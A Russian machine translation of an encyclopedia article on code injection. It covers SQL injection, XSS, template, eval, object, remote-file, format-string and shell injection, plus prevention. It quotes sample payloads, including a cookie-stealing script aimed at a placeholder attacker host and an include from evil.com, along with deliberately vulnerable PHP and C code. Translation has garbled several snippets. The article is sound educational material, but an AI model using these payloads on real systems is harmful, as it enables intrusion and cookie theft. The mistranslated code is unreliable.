stringtranslate.com

Вставка кода

Внедрение кода — это класс эксплойтов компьютерной безопасности , при которых уязвимые компьютерные программы или системные процессы не могут правильно обрабатывать внешние данные, такие как ввод пользователя, что приводит к тому, что программа неправильно интерпретирует данные как команду, которую следует выполнить . Используя этот метод, злоумышленник «внедряет» код в программу во время ее работы. Успешная эксплуатация уязвимости внедрения кода может привести к утечкам данных , доступу к ограниченным или критически важным компьютерным системам и распространению вредоносного ПО .

Уязвимости внедрения кода возникают, когда приложение отправляет ненадежные данные интерпретатору , который затем выполняет внедренный текст как код. Уязвимости внедрения часто встречаются в таких службах, как базы данных SQL , анализаторы XML , команды операционной системы , заголовки SMTP и другие аргументы программы. Уязвимости внедрения проще обнаружить при изучении исходного кода, чем при тестировании. [1] Статический анализ и фаззеры могут помочь обнаружить уязвимости внедрения. [2]

Существует множество типов внедрения кода, но большинство из них являются ошибками в интерпретации, поскольку они рассматривают безвредный пользовательский ввод как код или не отличают ввод от системных команд. Многие примеры ошибок интерпретации, подобные этим, могут существовать за пределами компьютерной науки, например, комедийная программа « Кто первый? » . Методы внедрения кода используются при взломе для получения информации, а также для повышения привилегий или получения доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, включая:

Внедрение кода, нацеленного на Интернет вещей, также может привести к серьезным последствиям, таким как утечка данных и сбой в обслуживании. [3]

5,66% всех уязвимостей, зарегистрированных в 2008 году, были классифицированы как внедрение кода, что является самым высоким процентом за всю историю. В 2015 году этот показатель снизился до 0,77%. [4]

Доброкачественное и непреднамеренное использование

Внедрение кода может быть сделано с благими намерениями. Например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злого умысла. [5] [6] Внедрение кода может, например:

Некоторые пользователи могут не подозревая, выполнять инъекцию кода, поскольку вводимые ими в программу данные не были учтены теми, кто изначально разрабатывал систему. Например:

Другим безвредным применением инъекции кода является обнаружение недостатков инъекции для поиска и устранения уязвимостей. Это известно как тест на проникновение .

Предотвращение внедрения кода

Чтобы предотвратить проблемы с внедрением кода, можно использовать безопасные стратегии обработки ввода и вывода, такие как:

Описанные выше решения в первую очередь касаются веб-инъекции HTML или кода скрипта в серверное приложение. Однако при работе с инъекцией пользовательского кода на машине, управляемой пользователем, необходимо использовать другие подходы, что часто приводит к атакам с повышением привилегий. Некоторые подходы, которые используются для обнаружения и изоляции управляемых и неуправляемых инъекций кода, следующие:

Примеры

SQL-инъекция

SQL-инъекция использует синтаксис SQL для внедрения вредоносных команд, которые могут читать или изменять базу данных или искажать смысл исходного запроса. [13]

Например, рассмотрим веб-страницу с двумя текстовыми полями , которые позволяют пользователям вводить имя пользователя и пароль. Код страницы сгенерирует SQL-запрос для проверки пароля по списку имен пользователей:

ВЫБЕРИТЕ СписокПользователей.ИмяПользователяИЗСпискаПользователейГДЕСписокПользователей.ИмяПользователя = ' ИмяПользователя ' И СписокПользователей.Пароль = ' Пароль '        

Если этот запрос возвращает какие-либо строки, то доступ предоставляется. Однако, если злонамеренный пользователь вводит допустимое имя пользователя и вводит допустимый код ( password' OR '1'='1) в поле пароля, то результирующий запрос будет выглядеть следующим образом:

ВЫБЕРИТЕ СписокПользователей.ИмяПользователяИЗСпискаПользователейГДЕСписокПользователей.ИмяПользователя = ' ИмяПользователя ' И СписокПользователей.Пароль = ' Пароль ' ИЛИ ​​' 1 ' = ' 1 '          

В приведенном выше примере предполагается, что «Пароль» пуст или представляет собой некую безобидную строку. « '1'='1'» всегда будет иметь значение true, и будет возвращено много строк, тем самым разрешая доступ.

Эту технику можно усовершенствовать, чтобы разрешить выполнение нескольких операторов или даже загрузку и запуск внешних программ.

Предположим, что запрос имеет следующий формат:

ВЫБЕРИТЕ Пользователь.ИдентификаторПользователя ИЗ Пользователь , ГДЕ Пользователь.ИдентификаторПользователя = ' " + ИдентификаторПользователя + " ' И Пользователь.Пароль = ' " + Пароль + " '        

Если у злоумышленника есть следующие входные данные:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

то запрос будет проанализирован как:

SELECT User . UserID FROM User WHERE User . UserID = '' ; DROP TABLE User ; --'AND Pwd = ''OR"='        

Полученная Userтаблица будет удалена из базы данных. Это происходит потому, что ;символ обозначает конец одной команды и начало новой. --обозначает начало комментария.

Межсайтовый скриптинг

Впрыск кода — это вредоносное внедрение или внедрение кода в приложение. Некоторые веб-серверы имеют скрипт гостевой книги , который принимает небольшие сообщения от пользователей и обычно получает такие сообщения:

Очень хороший сайт!

Однако злоумышленник может знать об уязвимости внедрения кода в гостевую книгу и ввести сообщение, например:

Хороший сайт, думаю , я его возьму. <script> window.location = "https: //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>  

Если другой пользователь просматривает страницу, то внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако эта же ошибка программного обеспечения может быть случайно вызвана неприметным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.

HTML и внедрение скриптов — популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к уязвимости внедрения, при которой пользовательский ввод в веб-скрипт или что-то в этом роде помещается в выходной HTML без проверки на наличие HTML-кода или скрипта.

Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с эффектами специальных данных. [14]

Внедрение шаблона на стороне сервера

Шаблонизаторы часто используются в современных веб-приложениях для отображения динамических данных. Однако доверие непроверенным пользовательским данным может часто приводить к критическим уязвимостям [15], таким как внедрение шаблонов на стороне сервера. Хотя эта уязвимость похожа на межсайтовый скриптинг , внедрение шаблонов может быть использовано для выполнения кода на веб-сервере, а не в браузере посетителя. Оно злоупотребляет общим рабочим процессом веб-приложений, которые часто используют вводимые пользователем данные и шаблоны для рендеринга веб-страницы. Пример ниже демонстрирует концепцию. Здесь шаблон {{visitor_name}}заменяется данными во время процесса рендеринга.

Здравствуйте, {{visitor_name}}

Злоумышленник может использовать этот рабочий процесс для внедрения кода в конвейер рендеринга, предоставляя вредоносный visitor_name. В зависимости от реализации веб-приложения он может выбрать внедрение, {{7*'7'}}которое рендерер может разрешить в Hello 7777777. Обратите внимание, что фактический веб-сервер оценил вредоносный код и, следовательно, может быть уязвим для удаленного выполнения кода .

Уязвимости динамической оценки

Уязвимость инъекции возникает, когда злоумышленник может контролировать всю или часть входной строки, которая подается в вызов функции . [16]eval()eval()

$myvar  =  'somevalue' ; $x  =  $_GET [ 'arg' ]; eval ( '$myvar = '  .  $x  .  ';' );

Аргумент " eval" будет обработан как PHP , поэтому можно добавить дополнительные команды. Например, если "arg" установлен в " ", запускается дополнительный код, который выполняет программу на сервере, в данном случае " ".10; system('/bin/echo uh-oh')/bin/echo

Введение объекта

PHP позволяет сериализацию и десериализацию целых объектов . Если в функцию десериализации допускаются ненадежные входные данные, можно перезаписать существующие классы в программе и выполнить вредоносные атаки. [17] Такая атака на Joomla была обнаружена в 2013 году. [18]

Удаленная инъекция файлов

Рассмотрим эту PHP-программу (которая включает файл, указанный в запросе):

<?php $color  =  'blue' ; если  ( isset ( $_GET [ 'color' ]))  $color  =  $_GET [ 'color' ]; требуется ( $color  .  '.php' );

В примере ожидается, что будет предоставлен цвет, в то время как злоумышленники могут предоставить его, COLOR=http://evil.com/exploitзаставив PHP загрузить удаленный файл.

Вставка спецификатора формата

Ошибки форматной строки чаще всего возникают, когда программист хочет напечатать строку, содержащую предоставленные пользователем данные. Программист может ошибочно написать printf(buffer)вместо printf("%s", buffer). Первая версия интерпретирует bufferкак форматную строку и анализирует любые инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как и предполагал программист. Рассмотрим следующую короткую программу на языке C, которая имеет локальный переменный массив password символов , содержащий пароль; программа запрашивает у пользователя целое число и строку, а затем выводит предоставленную пользователем строку.

 char user_input [ 100 ]; int int_in ; char password [ 10 ] = "Password1" ;        printf ( "Введите целое число \n " ); scanf ( "%d" , & int_in ); printf ( "Введите строку \n " ); fgets ( user_input , sizeof ( user_input ), stdin );       printf ( user_input ); // Безопасная версия: printf("%s", user_input); printf ( " \n " );   вернуть 0 ; 

Если пользовательский ввод заполнен списком спецификаторов формата, таких как %s%s%s%s%s%s%s%s, то printf()начнется чтение из стека . В конце концов, один из %sспецификаторов формата получит доступ к адресу password, который находится в стеке, и выведет его Password1на экран.

Инъекция оболочки

Shell injection (или command injection [19] ) назван в честь оболочек UNIX , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого скрипта tcsh :

# !/bin/tcsh # проверка arg выводит совпадение, если arg равен единице if  ( $1  == 1 )  echo совпадение

Если вышеприведенное хранится в исполняемом файле ./check, команда оболочки ./check " 1 ) evil"попытается выполнить введенную команду оболочки evilвместо сравнения аргумента с константой. Здесь атакуемый код — это код, который пытается проверить параметр, тот самый код, который мог бы пытаться проверить параметр, чтобы защититься от атаки. [20]

Любая функция, которая может быть использована для составления и запуска команды оболочки, является потенциальным средством для запуска атаки с использованием инъекции оболочки. Среди них system(), StartProcess() и System.Diagnostics.Process.Start().

Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами, потенциально уязвимы для инъекции оболочки. Рассмотрим следующую короткую программу PHP , которая может работать на веб-сервере для запуска внешней программы, вызываемой funnytextдля замены слова, отправленного пользователем, на какое-либо другое слово.

<?php passthru ( "/bin/funnytext"  .  $_GET [ 'USER_INPUT' ]);

В passthruприведенном выше примере создается команда оболочки, которая затем выполняется веб-сервером. Поскольку часть команды, которую он создает, берется из URL, предоставленного веб-браузером, это позволяет URL внедрять вредоносные команды оболочки. В эту программу можно внедрять код несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим): [21]

Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, используемых для построения команд оболочки:

Однако это все еще накладывает бремя на программистов, чтобы знать/изучать эти функции и помнить об их использовании каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверять или очищать пользовательский ввод.

Более безопасной альтернативой является использование API, которые выполняют внешние программы напрямую, а не через оболочку, тем самым предотвращая возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и/или более громоздки/многословны по сравнению с лаконичным синтаксисом оболочки.

Смотрите также

Ссылки

  1. ^ "Top 10 Web Application Security Vulnerabilities". Penn Computing . Университет Пенсильвании. Архивировано из оригинала 24 февраля 2018 года . Получено 10 декабря 2016 года .
  2. ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Архивировано из оригинала 28 января 2016 года . Получено 19 декабря 2013 года .
  3. ^ Номан, Хайтам Амин; Абу-Шаркх, Усама МФ (январь 2023 г.). «Атаки с внедрением кода в беспроводном Интернете вещей (IoT): всесторонний обзор и практические реализации». Датчики . 23 (13): 6067. Bibcode : 2023Senso..23.6067N. doi : 10.3390/s23136067 . ISSN  1424-8220. PMC 10346793. PMID 37447915  . 
  4. ^ "NVD - Statistics Search". web.nvd.nist.gov . Архивировано из оригинала 15 декабря 2023 г. Получено 9 декабря 2016 г.
  5. ^ Шринивасан, Рагхунатхан. «К более эффективным детекторам вирусов» (PDF) . Университет штата Аризона . Архивировано из оригинала (PDF) 29 июля 2010 г. . Получено 18 сентября 2010 г. Доброжелательное использование внедрения кода происходит, когда пользователь изменяет поведение программы для соответствия системным требованиям.
  6. ^ Моралес, Хосе Андре; Карталтепе, Эрхан; Сюй, Шоухуай; Сандху, Рави (2010). «Обнаружение бот-процессов на основе симптомов». Безопасность компьютерных сетей . Конспект лекций по информатике. Том 6258. Берлин, Гейдельберг: Springer. С. 229–241. CiteSeerX 10.1.1.185.2152 . doi :10.1007/978-3-642-14706-7_18. ISBN  978-3-642-14705-0. ISSN  0302-9743.
  7. ^ "Трюки с динамическим компоновщиком: использование LD_PRELOAD для обмана, внедрения функций и исследования программ". Блог Рафала Чесляка . 2 апреля 2013 г. Архивировано из оригинала 25 декабря 2021 г. Получено 10 декабря 2016 г.
  8. ^ "Учебник Java EE 6: Глава 35. Использование API критериев для создания запросов". Oracle. Архивировано из оригинала 11 ноября 2013 г. Получено 19 декабря 2013 г.
  9. ^ Moertel, Tom (18 октября 2006 г.). «Решение «проблемы строк» ​​на основе типов: подходящее решение для дыр XSS и SQL-инъекций?». Блог Тома Moertel . Архивировано из оригинала 6 августа 2013 г. Получено 21 октября 2018 г.
  10. ^ "HttpOnly". OWASP . 12 ноября 2014 г. Архивировано из оригинала 26 декабря 2008 г. Получено 10 декабря 2016 г.
  11. ^ "SQL Injection Prevention Cheat Sheet". OWASP . Архивировано из оригинала 20 января 2012 г. Получено 10 декабря 2016 г.
  12. ^ Philippaerts, Pieter; et al. (1 июня 2013 г.). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF) . ACM Transactions on Information and System Security . 16 (1): 1–27. doi :10.1145/2487222.2487223. ISSN  1094-9224. S2CID  10947780. Архивировано (PDF) из оригинала 24 февраля 2021 г. . Получено 21 октября 2018 г. .
  13. ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 марта 2021 г.). «Долгая краткосрочная память на абстрактном синтаксическом дереве для обнаружения SQL-инъекций». IET Software . 15 (2): 188–197. doi :10.1049/sfw2.12018. ISSN  1751-8806. S2CID  233582569.
  14. ^ Хоуп, Брайан; Хоуп, Пако; Уолтер, Бен (15 мая 2009 г.). Web Security Testing Cookbook . Севастополь, Калифорния: O'Reilly Media . стр. 254. ISBN 978-0-596-51483-9. OCLC  297573828.
  15. ^ "Server-Side Template Injection". PortSwigger Research . 5 августа 2015 г. Архивировано из оригинала 22 мая 2022 г. Получено 22 мая 2022 г.
  16. ^ Стивен М. Кристи (3 мая 2006 г.). «Уязвимости динамической оценки в приложениях PHP». Полное раскрытие информации (список рассылки). Архивировано из оригинала 13 ноября 2009 г. . Получено 21 октября 2018 г. .
  17. ^ "Предупреждения функции десериализации". PHP.net. Архивировано из оригинала 9 мая 2015 г. Получено 6 июня 2014 г.
  18. ^ "Анализ уязвимости внедрения PHP-объектов Joomla". Архивировано из оригинала 2 марта 2013 г. Получено 6 июня 2014 г.
  19. ^ "Внедрение команды". OWASP. Архивировано из оригинала 20 декабря 2013 г. Получено 19 декабря 2013 г.
  20. Дуглас В. Джонс, CS:3620 Notes, Lecture 4 — Shell Scripts Архивировано 24 сентября 2024 г. на Wayback Machine , весна 2018 г.
  21. ^ "Внедрение команд - Библиотека Black Hat". Архивировано из оригинала 27 февраля 2015 г. Получено 27 февраля 2015 г.

Внешние ссылки